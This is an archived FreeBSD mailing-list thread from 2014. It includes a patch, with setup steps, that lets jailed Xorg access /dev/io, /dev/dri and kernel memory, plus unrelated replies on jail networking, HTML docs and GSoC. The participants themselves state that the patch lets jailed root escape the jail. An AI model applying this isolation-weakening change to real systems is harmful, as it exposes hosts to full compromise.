$devfsrules_unhide_login add path agpgart unhide add path console unhide add path consolectl unhide add path dri unhide add path 'dri/*' unhide add path io unhide add path mem unhide add path pci unhide add path tty unhide add path ttyv0 unhide add path ttyv1 unhide add path ttyv8 unhide Set sysctls on jail host to allow jails to have permission granted to them to access (in particular) /dev/mem, /dev/io and /dev/dri/* security.jail.dev_io_access=1 security.jail.dev_dri_access=1 Configure your chosen jail to use these devfs rules and allow them to use the devices. I use ezjail, so for me this meant changing /usr/local/etc/ezjail/ and setting these lines: export jail_xorg_foo_com_devfs_ruleset="8" export jail_xorg_foo_com_parameters="allow.dev_io_access=1 allow.dev_dri_access=1" Load any required kernel modules in the jail host - xorg in the jail will not be able to load them for you. Therefore, make sure to load i915kms, radeonkms or nvidia before hand. Install and use xorg in the jail as you would normally. --001a1133a8180070a404f42261fd Content-Type: text/plain; charset=US-ASCII; name="sys-jail-priv--xorg-in-jail.diff.txt" Content-Disposition: attachment; filename="sys-jail-priv--xorg-in-jail.diff.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsjmunfq0 SW5kZXg6IHN5cy9kZXYvZHJtL2RybVAuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvZGV2L2RybS9kcm1Q LmgJKHJldmlzaW9uIDI2MjQ1NykKKysrIHN5cy9kZXYvZHJtL2RybVAuaAkod29ya2luZyBjb3B5 KQpAQCAtMjI4LDcgKzIyOCw3IEBACiAjZGVmaW5lIFBBR0VfQUxJR04oYWRkcikgcm91bmRfcGFn ZShhZGRyKQogLyogRFJNX1NVU0VSIHJldHVybnMgdHJ1ZSBpZiB0aGUgdXNlciBpcyBzdXBlcnVz ZXIgKi8KICNpZiBfX0ZyZWVCU0RfdmVyc2lvbiA+PSA3MDAwMDAKLSNkZWZpbmUgRFJNX1NVU0VS KHApCQkocHJpdl9jaGVjayhwLCBQUklWX0RSSVZFUikgPT0gMCkKKyNkZWZpbmUgRFJNX1NVU0VS KHApCQkocHJpdl9jaGVjayhwLCBQUklWX0RSSV9EUklWRVIpID09IDApCiAjZWxzZQogI2RlZmlu ZSBEUk1fU1VTRVIocCkJCShzdXNlcihwKSA9PSAwKQogI2VuZGlmCkluZGV4OiBzeXMvZGV2L2Ry bTIvZHJtUC5oCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9kZXYvZHJtMi9kcm1QLmgJKHJldmlzaW9uIDI2 MjQ1NykKKysrIHN5cy9kZXYvZHJtMi9kcm1QLmgJKHdvcmtpbmcgY29weSkKQEAgLTI1MSw3ICsy NTEsNyBAQAogCiAjZGVmaW5lIFBBR0VfQUxJR04oYWRkcikgcm91bmRfcGFnZShhZGRyKQogLyog RFJNX1NVU0VSIHJldHVybnMgdHJ1ZSBpZiB0aGUgdXNlciBpcyBzdXBlcnVzZXIgKi8KLSNkZWZp bmUgRFJNX1NVU0VSKHApCQkocHJpdl9jaGVjayhwLCBQUklWX0RSSVZFUikgPT0gMCkKKyNkZWZp bmUgRFJNX1NVU0VSKHApCQkocHJpdl9jaGVjayhwLCBQUklWX0RSSV9EUklWRVIpID09IDApCiAj ZGVmaW5lIERSTV9BR1BfRklORF9ERVZJQ0UoKQlhZ3BfZmluZF9kZXZpY2UoKQogI2RlZmluZSBE Uk1fTVRSUl9XQwkJTURGX1dSSVRFQ09NQklORQogI2RlZmluZSBqaWZmaWVzCQkJdGlja3MKSW5k ZXg6IHN5cy9rZXJuL2tlcm5famFpbC5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9rZXJuL2tlcm5famFp bC5jCShyZXZpc2lvbiAyNjI0NTcpCisrKyBzeXMva2Vybi9rZXJuX2phaWwuYwkod29ya2luZyBj b3B5KQpAQCAtMjA3LDYgKzIwNyw4IEBACiAJImFsbG93Lm1vdW50LnpmcyIsCiAJImFsbG93Lm1v dW50LnByb2NmcyIsCiAJImFsbG93Lm1vdW50LnRtcGZzIiwKKwkiYWxsb3cuZGV2X2lvX2FjY2Vz cyIsCisJImFsbG93LmRldl9kcmlfYWNjZXNzIiwKIH07CiBjb25zdCBzaXplX3QgcHJfYWxsb3df bmFtZXNfc2l6ZSA9IHNpemVvZihwcl9hbGxvd19uYW1lcyk7CiAKQEAgLTIyMyw2ICsyMjUsOCBA QAogCSJhbGxvdy5tb3VudC5ub3pmcyIsCiAJImFsbG93Lm1vdW50Lm5vcHJvY2ZzIiwKIAkiYWxs b3cubW91bnQubm90bXBmcyIsCisJImFsbG93Lm5vZGV2X2lvX2FjY2VzcyIsCisJImFsbG93Lm5v ZGV2X2RyaV9hY2Nlc3MiLAogfTsKIGNvbnN0IHNpemVfdCBwcl9hbGxvd19ub25hbWVzX3NpemUg PSBzaXplb2YocHJfYWxsb3dfbm9uYW1lcyk7CiAKQEAgLTM5NTAsNiArMzk1NCwyNyBAQAogCQly ZXR1cm4gKDApOwogCiAJCS8qCisJCSAqIEFsbG93IGFjY2VzcyB0byAvZGV2L2lvIGluIGEgamFp bCBpZiB0aGUgbm9uLWphaWxlZCBhZG1pbgorCQkgKiByZXF1ZXN0cyB0aGlzIGFuZCBpZiAvZGV2 L2lvIGV4aXN0cyBpbiB0aGUgamFpbC4gVGhpcworCQkgKiBhbGxvd3MgWG9yZyB0byBwcm9iZSBh IGNhcmQuCisJCSAqLworCWNhc2UgUFJJVl9JTzoKKwljYXNlIFBSSVZfS01FTV9XUklURToKKwkJ aWYgKGNyZWQtPmNyX3ByaXNvbi0+cHJfYWxsb3cgJiBQUl9BTExPV19ERVZfSU9fQUNDRVNTKQor CQkJcmV0dXJuICgwKTsKKwkJZWxzZQorCQkJcmV0dXJuIChFUEVSTSk7CisKKwkJLyoKKwkJICog QWxsb3cgbG93IGxldmVsIGFjY2VzcyB0byBEUkkuIFRoaXMgYWxsb3dzIFhvcmdzIHRvIHVzZSBE UkkuCisJCSAqLworCWNhc2UgUFJJVl9EUklfRFJJVkVSOgorCQlpZiAoY3JlZC0+Y3JfcHJpc29u LT5wcl9hbGxvdyAmIFBSX0FMTE9XX0RFVl9EUklfQUNDRVNTKQorCQkJcmV0dXJuICgwKTsKKwkJ ZWxzZQorCQkJcmV0dXJuIChFUEVSTSk7CisKKwkJLyoKIAkJICogQWxsb3cgamFpbGVkIHJvb3Qg dG8gc2V0IGxvZ2luY2xhc3MuCiAJCSAqLwogCWNhc2UgUFJJVl9QUk9DX1NFVExPR0lOQ0xBU1M6 CkBAIC00MjQ2LDYgKzQyNzEsMTUgQEAKICAgICBOVUxMLCBQUl9BTExPV19NT1VOVF9aRlMsIHN5 c2N0bF9qYWlsX2RlZmF1bHRfYWxsb3csICJJIiwKICAgICAiUHJvY2Vzc2VzIGluIGphaWwgY2Fu IG1vdW50IHRoZSB6ZnMgZmlsZSBzeXN0ZW0iKTsKIAorU1lTQ1RMX1BST0MoX3NlY3VyaXR5X2ph aWwsIE9JRF9BVVRPLCBkZXZfaW9fYWNjZXNzLAorICAgIENUTFRZUEVfSU5UIHwgQ1RMRkxBR19S VyB8IENUTEZMQUdfTVBTQUZFLAorICAgIE5VTEwsIFBSX0FMTE9XX0RFVl9JT19BQ0NFU1MsIHN5 c2N0bF9qYWlsX2RlZmF1bHRfYWxsb3csICJJIiwKKyAgICAiUHJvY2Vzc2VzIGluIGphaWwgY2Fu IGFjY2VzcyAvZGV2L2lvIGlmIGl0IGV4aXN0cyIpOworU1lTQ1RMX1BST0MoX3NlY3VyaXR5X2ph aWwsIE9JRF9BVVRPLCBkZXZfZHJpX2FjY2VzcywKKyAgICBDVExUWVBFX0lOVCB8IENUTEZMQUdf UlcgfCBDVExGTEFHX01QU0FGRSwKKyAgICBOVUxMLCBQUl9BTExPV19ERVZfRFJJX0FDQ0VTUywg c3lzY3RsX2phaWxfZGVmYXVsdF9hbGxvdywgIkkiLAorICAgICJQcm9jZXNzZXMgaW4gamFpbCBj YW4gYWNjZXNzIC9kZXYvZHJpIGlmIGl0IGV4aXN0cyIpOworCiBzdGF0aWMgaW50CiBzeXNjdGxf amFpbF9kZWZhdWx0X2xldmVsKFNZU0NUTF9IQU5ETEVSX0FSR1MpCiB7CkBAIC00MzgzLDYgKzQ0 MTcsMTAgQEAKICAgICAiQiIsICJKYWlsIG1heSBzZXQgZmlsZSBxdW90YXMiKTsKIFNZU0NUTF9K QUlMX1BBUkFNKF9hbGxvdywgc29ja2V0X2FmLCBDVExUWVBFX0lOVCB8IENUTEZMQUdfUlcsCiAg ICAgIkIiLCAiSmFpbCBtYXkgY3JlYXRlIHNvY2tldHMgb3RoZXIgdGhhbiBqdXN0IFVOSVgvSVB2 NC9JUHY2L3JvdXRlIik7CitTWVNDVExfSkFJTF9QQVJBTShfYWxsb3csIGRldl9pb19hY2Nlc3Ms IENUTFRZUEVfSU5UIHwgQ1RMRkxBR19SVywKKyAgICAiQiIsICJKYWlsIG1heSBhY2Nlc3MgL2Rl di9pbyBpZiBpdCBleGlzdHMiKTsKK1NZU0NUTF9KQUlMX1BBUkFNKF9hbGxvdywgZGV2X2RyaV9h Y2Nlc3MsIENUTFRZUEVfSU5UIHwgQ1RMRkxBR19SVywKKyAgICAiQiIsICJKYWlsIG1heSBhY2Nl c3MgL2Rldi9kcmkgaWYgaXQgZXhpc3RzIik7CiAKIFNZU0NUTF9KQUlMX1BBUkFNX1NVQk5PREUo YWxsb3csIG1vdW50LCAiSmFpbCBtb3VudC91bm1vdW50IHBlcm1pc3Npb24gZmxhZ3MiKTsKIFNZ U0NUTF9KQUlMX1BBUkFNKF9hbGxvd19tb3VudCwgLCBDVExUWVBFX0lOVCB8IENUTEZMQUdfUlcs CkluZGV4OiBzeXMvc3lzL2phaWwuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvc3lzL2phaWwuaAkocmV2 aXNpb24gMjYyNDU3KQorKysgc3lzL3N5cy9qYWlsLmgJKHdvcmtpbmcgY29weSkKQEAgLTIyOCw3 ICsyMjgsOSBAQAogI2RlZmluZQlQUl9BTExPV19NT1VOVF9aRlMJCTB4MDIwMAogI2RlZmluZQlQ Ul9BTExPV19NT1VOVF9QUk9DRlMJCTB4MDQwMAogI2RlZmluZQlQUl9BTExPV19NT1VOVF9UTVBG UwkJMHgwODAwCi0jZGVmaW5lCVBSX0FMTE9XX0FMTAkJCTB4MGZmZgorI2RlZmluZQlQUl9BTExP V19ERVZfSU9fQUNDRVNTCQkweDEwMDAKKyNkZWZpbmUJUFJfQUxMT1dfREVWX0RSSV9BQ0NFU1MJ CTB4MjAwMAorI2RlZmluZQlQUl9BTExPV19BTEwJCQkweDNmZmYKIAogLyoKICAqIE9TRCBtZXRo b2RzCkluZGV4OiBzeXMvc3lzL3ByaXYuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvc3lzL3ByaXYuaAko cmV2aXNpb24gMjYyNDU3KQorKysgc3lzL3N5cy9wcml2LmgJKHdvcmtpbmcgY29weSkKQEAgLTUw MCwxMCArNTAwLDExIEBACiAjZGVmaW5lCVBSSVZfS01FTV9SRUFECQk2ODAJLyogT3BlbiBtZW0v a21lbSBmb3IgcmVhZGluZy4gKi8KICNkZWZpbmUJUFJJVl9LTUVNX1dSSVRFCQk2ODEJLyogT3Bl biBtZW0va21lbSBmb3Igd3JpdGluZy4gKi8KIAorI2RlZmluZQlQUklWX0RSSV9EUklWRVIJCTY4 MgogLyoKICAqIFRyYWNrIGVuZCBvZiBwcml2aWxlZ2UgbGlzdC4KICAqLwotI2RlZmluZQlfUFJJ Vl9ISUdIRVNUCQk2ODIKKyNkZWZpbmUJX1BSSVZfSElHSEVTVAkJNjgzCiAKIC8qCiAgKiBWYWxp ZGF0ZSB0aGF0IGEgbmFtZWQgcHJpdmlsZWdlIGlzIGtub3duIGJ5IHRoZSBwcml2aWxlZ2Ugc3lz dGVtLiAgSW52YWxpZAo= --001a1133a8180070a404f42261fd-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 9 04:42:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C6F06674; Sun, 9 Mar 2014 04:42:10 +0000 (UTC) Received: from m2.gritton.org (gritton.org [199.192.164.235]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9B1BB100; Sun, 9 Mar 2014 04:42:10 +0000 (UTC) Received: from [192.168.0.34] (c-50-168-192-61.hsd1.ut.comcast.net [50.168.192.61]) (authenticated bits=0) by m2.gritton.org (8.14.7/8.14.7) with ESMTP id s294g3hs029017; Sat, 8 Mar 2014 21:42:03 -0700 (MST) (envelope-from jamie@freebsd.org) Message-ID: <531BF113.7060704@freebsd.org> Date: Sat, 08 Mar 2014 21:41:55 -0700 From: James Gritton User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Tom Evans , "freebsd-x11@freebsd.org" , "freebsd-hackers@freebsd.org" Subject: Re: [PATCH] Xorg in a jail References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Alexander Leidinger X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Mar 2014 04:42:10 -0000 On 3/8/2014 6:26 PM, Tom Evans wrote: > I've been reinstalling my home server with 10-STABLE and wanted to > compartmentalise all the disparate tasks it does - file storage, DNS, > web servers and mplayer/xorg/media stuff in general - in to a separate > jail for each task. > > For the most part, this was quite straightforward, apart from with > xorg I found that it wasn't quite supported. I found Alexander's > patch, and the work Jamie did in part integrating it, allowing kmem > read, and reworked it for 10-STABLE. > > From Jamie's emails it looked like he was working on a way of properly > integrating these permissions in a more unified way, but I had a > pressing need :) > > I've tested this on 10-STABLE r262457M, intel graphics (ivy bridge, > WITH_NEW_XORG), and everything seems to work just fine. I'm going to > try out radeonkms and nvidia tomorrow also. > > Also please note that whilst I want things jailed for separation and > neatness concerns rather than security, it must be pointed out that > letting one jail read and write kernel memory of the whole machine is > not at all secure! Anyone with root in this xorg jail would be able to > break free of the jail. The work to "properly integrate" the permissions got the kibosh for just that reason. The kmem permission thing can stand on it's own, but it's not going to be jail-triggered except in an unofficial patch. There's theoretically a "right way" to do this, that would allow an X11-enabled jail to remain secure, but that right way involves rewriting the graphics drivers not to use any direct kernel/dev memory access, and is so way out of scope as not to be considered (at least by anyone I know). - Jamie From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 9 14:30:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BE8C4432; Sun, 9 Mar 2014 14:30:14 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 69B8AE1B; Sun, 9 Mar 2014 14:30:14 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s29EUB9s071366 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Sun, 9 Mar 2014 08:30:12 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s29EUBX1071363; Sun, 9 Mar 2014 08:30:11 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Sun, 9 Mar 2014 08:30:11 -0600 (MDT) From: Warren Block To: Julian Elischer Subject: Re: How to read HTML file in FreeBSD(base system) In-Reply-To: <531B6B77.1040907@freebsd.org> Message-ID: References: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> <531B6B77.1040907@freebsd.org> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Sun, 09 Mar 2014 08:30:12 -0600 (MDT) Cc: freebsd-hackers@freebsd.org, docs@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Mar 2014 14:30:14 -0000 On Sat, 8 Mar 2014, Julian Elischer wrote: > On 3/8/14, 5:26 AM, Eduardo Morras wrote: >> On Sat, 8 Mar 2014 14:36:16 +0800 >> by wrote: >> >>> Hello, >>> I use FreeBSD 10.0 RELEASE now, and I just install the base system, >>> but I add doc when I install FreeBSD, so there are some docs in my >>> system, and they are HTML files, so I want to ask that does FreeBSD >>> provide some utilities to read HTML file in terminal? >>> >>> You may say w3m is a good choice : ) >>> I have use it before, it is a great web browser in CLI, and its use >>> experience is like vi : ) But I must install it from ports or src by >>> myself, so does FreeBSD provide some utilities in base system to >>> implement that? >> I think no one has answered your original question. No, there's no browser >> in Base to read FreeBSD Base documentation in HTML. You must install >> something from ports always. If you want install w3m as pkg, pkg must be >> installed from ports first. >> > Base documentation is derived from sources which can also deliver other > media types. > Try formatting them as text. A Doc team member can probably tell you how to > do that. The XML documents like the Handbook can be built as text with make FORMATS=txt Building the documents from source requires installation of the textproc/docproj metaport. Text versions are generated from the HTML version with www/links using -dump. But if www/links is installed, the HTML versions can be read directly: links book.html From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 9 19:46:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1182012C; Sun, 9 Mar 2014 19:46:12 +0000 (UTC) Received: from mail-yk0-x231.google.com (mail-yk0-x231.google.com [IPv6:2607:f8b0:4002:c07::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9C2C9D8D; Sun, 9 Mar 2014 19:46:11 +0000 (UTC) Received: by mail-yk0-f177.google.com with SMTP id q200so16867834ykb.8 for ; Sun, 09 Mar 2014 12:46:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=tH1Xy5r7mzI7e7+HfCvOc/05CKfAJySAzpCpcLkKTfE=; b=jrjQDEPU8V+TwQ1nubHZpgQF0JhS53wRf/Yyclkg9h60X3PVzlz/iJhWDYN18/hxOF Ft7KpnYpGA/amCSKJWIjRveq5+ydUEufvJ7kjITYgplt2ANIXv4G+2Q9h18idjR3TKfD UFlh1DIvBZTD3w//dWWp18msD4reesV3STzNuSRTZD8pbZrRWtuGAVNYAMncNO1NzWK2 jnHkg9hkSBut2OmfGIPo99btmhWtoF11ExKxq+EAM2h+iPMTgfYKQktdh95BJNGJNoHg o2HCaO1cevu/l+viMijtG8G4IRjhRIyormsqO72GS92uiAuk8+KmUcvGeKdyntyDJAsi VV2g== MIME-Version: 1.0 X-Received: by 10.236.128.170 with SMTP id f30mr10312026yhi.89.1394394370896; Sun, 09 Mar 2014 12:46:10 -0700 (PDT) Received: by 10.170.66.204 with HTTP; Sun, 9 Mar 2014 12:46:10 -0700 (PDT) Date: Sun, 9 Mar 2014 15:46:10 -0400 Message-ID: Subject: FreeBSD GSOC proposal in 2014 From: yan cui To: freebsd-hackers@freebsd.org, freebsd-current@freebsd.org, soc-status@freebsd.org, jeff@FreeBSD.org X-Mailman-Approved-At: Sun, 09 Mar 2014 19:47:36 +0000 Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Mar 2014 19:46:12 -0000 Hi All, I am a student in Columbia University (Yan Cui), and want to join the FreeBSD GSOC 2014. After scanned the idea list posted online, I think I am interested in the idea titled "user space pthread mutex lock contention profiling and lock order verification tools". I have several year experiences in kernel and user locking and believe I can complete the task in time. Currently, I wonder to know, before submitting an application on GSOC home page, do I need to submit some documents in the community (to review?) Best Wishes! Yan -- Think big; Dream impossible; Make it happen. From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 9 21:22:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 32F36AB1; Sun, 9 Mar 2014 21:22:03 +0000 (UTC) Received: from mail-ob0-x236.google.com (mail-ob0-x236.google.com [IPv6:2607:f8b0:4003:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D31C67FA; Sun, 9 Mar 2014 21:22:02 +0000 (UTC) Received: by mail-ob0-f182.google.com with SMTP id uz6so6267544obc.13 for ; Sun, 09 Mar 2014 14:22:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=9sTc/e9eoJ1HPbBarNvhFvINq67P6MX/jhWJoHqRxao=; b=CE8AFdl4nKKD2KnYGrOwer8LItPbkXqqCiKCuq1tAw8oGVe7xwaf/w9Wpv44XgM2sk awvLXzw/jbKDU9BoDdb6VZoxoBB/RYenxu+bRs4IoQb4GKsOpZRIf9ZZFpdb4GbsEfZp nAEPF/Iv0nlSqyTnBFeCNm+BUZE2yhLkc3JBOk/NmRZFV/4S5laHrAgECOwn/MvdOGEG VyTuD97S9w50qHHC/LuDXouOhWr5ucL+HsoGNJd0r74c9N3rmpQ0k3VAjJbxZQQDBZKt TvovIOy1swHbCQ9yepQ8k9knLMkRazFZ5cNlNme66vy62SgPPnUbenwedG65Ec+HvYmG 4I7g== MIME-Version: 1.0 X-Received: by 10.182.230.135 with SMTP id sy7mr25888906obc.24.1394400122222; Sun, 09 Mar 2014 14:22:02 -0700 (PDT) Received: by 10.182.76.201 with HTTP; Sun, 9 Mar 2014 14:22:02 -0700 (PDT) In-Reply-To: References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> Date: Sun, 9 Mar 2014 17:22:02 -0400 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: multipart/mixed; boundary=001a11c33676f5d66a04f43313c9 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Mar 2014 21:22:03 -0000 --001a11c33676f5d66a04f43313c9 Content-Type: text/plain; charset=ISO-8859-1 On Sat, Mar 8, 2014 at 11:31 AM, Joe Nosay wrote: > > > > On Fri, Mar 7, 2014 at 10:52 PM, Joe Nosay wrote: > >> >> >> >> On Fri, Mar 7, 2014 at 10:37 PM, Joe Nosay wrote: >> >>> >>> >>> On Fri, Mar 7, 2014 at 10:00 PM, Joe Nosay wrote: >>> >>>> >>>> >>>> >>>> On Fri, Mar 7, 2014 at 2:08 AM, wrote: >>>> >>>>> >>>>> >>>>> > -----Original Message----- >>>>> > From: Joe Nosay [mailto:superbisquit@gmail.com] >>>>> > Sent: Thursday, March 6, 2014 6:52 PM >>>>> > To: Devin Teske >>>>> > Cc: FreeBSD Hackers; Eugene Grosbein >>>>> > Subject: Re: How do I create a cloned interface when there is no >>>>> static >>>>> > connection? >>>>> > >>>>> > On Thu, Mar 6, 2014 at 2:47 PM, wrote: >>>>> > >>>>> > > >>>>> > > >>>>> > > > -----Original Message----- >>>>> > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] >>>>> > > > Sent: Thursday, March 6, 2014 10:03 AM >>>>> > > > To: Joe Nosay >>>>> > > > Cc: FreeBSD Hackers >>>>> > > > Subject: Re: How do I create a cloned interface when there is no >>>>> > > > static connection? >>>>> > > > >>>>> > > > On 07.03.2014 00:39, Joe Nosay wrote: >>>>> > > > >>>>> > > > > I'll need a dummy interface inside of the that can be bridged >>>>> to >>>>> > > > > wlan0 outside of the jail. Normal jail with aliases. >>>>> > > > >>>>> > > > Try epair(4) and give one part of pair to jail and bridge another >>>>> > > > part >>>>> > > with >>>>> > > > wlan0. >>>>> > > > >>>>> > > >>>>> > > Never tried bridging a wlan with netgraph, but I wonder if the >>>>> method >>>>> > > I use for bridging Ethernet with netgraph would work... >>>>> > > >>>>> > > Using the ngctl command to create an ng_bridge and then multiple >>>>> > > ng_eiface devices that you can be shoved into the jail. >>>>> > > >>>>> > > kldload ng_ether >>>>> > > kldload ng_bridge >>>>> > > kldload ng_eiface >>>>> > > ngctl >>>>> > > + mkpeer {IFACE}: bridge lower link0 >>>>> > > + connect {IFACE}: {IFACE}:lower upper link1 >>>>> > > + name {IFACE}:lower {IFACE}bridge >>>>> > > + quit >>>>> > > ifconifg {IFACE} up >>>>> > > ngctl >>>>> > > + msg {IFACE}: setpromisc 1 >>>>> > > + msg {IFACE}: setautosrc 0 >>>>> > > + mkpeer {IFACE}:lower eiface link{N} ether >>>>> > > + name {IFACE}bridge:link{N} >>>>> > > + show -n {IFACE}bridge: >>>>> > > Name: ngeth0 Type: eiface ID: XXXXXXXX >>>>> Num >>>>> > > hooks: N >>>>> > > + name {IFACE}bridge:link{N} {NEWIFACE} >>>>> > > ifconfig ngeth0 name {NEWNAME} >>>>> > > ifconfig {NEWNAME} vnet {JID} >>>>> > > >>>>> > > Taking care to replace the following from above: >>>>> > > {IFACE} - the name of the interface you want to bridge (eg, em0) >>>>> {N} - >>>>> > > link number (starts at 2; increments by-one for each new eiface) >>>>> > > {NEWIFACE} - the name of the new eiface (ngethN) device to create >>>>> > > {JID} - the jail ID of the jail you want to shove the interface >>>>> into >>>>> > > >>>>> > > Of course, never tried this with WiFi. >>>>> > >>>>> > I did not properly create the jail.conf script. I believe the file of >>>>> /etc/rc.d/jail >>>>> > should be followed; yet, there is no tutorial on setting it up. >>>>> > My /etc/rc.conf file is also improperly setup. How? I don't know; >>>>> but, I >>>>> can tell >>>>> > because the system will not boot completely and ctrl+C must be hit to >>>>> allow >>>>> > logging in. >>>>> >>>>> What release are you using? "uname -spr" is often succinct enough. >>>>> -- >>>>> Devin >>>>> >>>>> _____________ >>>>> The information contained in this message is proprietary and/or >>>>> confidential. If you are not the intended recipient, please: (i) delete the >>>>> message and all copies; (ii) do not disclose, distribute or use the message >>>>> in any manner; and (iii) notify the sender immediately. In addition, please >>>>> be aware that any message addressed to our domain is subject to archiving >>>>> and review by persons other than the intended recipient. Thank you. >>>>> >>>> >>>> >>>> FreeBSD 10.0-RELEASE amd64 >>>> The /etc/rc.d/jail script is interpreting the name at -G in >>>> FreeBSD-Google_projects to be a command line option. I am going to see what >>>> happens if I just change the name. >>>> >>> >>> >>> Ok. >>> The jail.conf is in /etc, the name is without hypens or undescores, and >>> the script dies with "/etc/rc no such file or directory" from jail.conf. >>> There is a /etc/rc but I know that jail exists in /etc/rc.d? >>> Wait a sec. >>> >> >> >> Okay. >> Herein lies the problem: I used /bin/sh plus location of jail plus the >> command to start and stop. The system does not seem to be able to find the >> script. I have not ran /usr/libexec/locate.updatedb yet. That may help, I >> don't know. >> Hold a sec, let me test. >> >> exec.start = "/bin/sh /etc/rc.d/jail jail_start"; >> exec.stop = "/bin/sh /etc/rc.d/jail jail_stop"; >> >> >> >> > > I have the start and stop commands incorrectly set up. Do I need the > commands or are they automatic? > Attached is the pf.conf and the script for cloning lo0 while starting the jail. "jail -c /jails/FreeBSD-Google_projects" is an unknown parameter. As you can tell, I am trying to solve the problem. Am I doing it right or wrong? I am not able to tell so I need someone to tell me. Something is wrong, I know. What did I do wrong here? Why do I feel like all of you are mocking me and laughing at me? --001a11c33676f5d66a04f43313c9 Content-Type: application/octet-stream; name="pf.conf" Content-Disposition: attachment; filename="pf.conf" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsl2afmk0 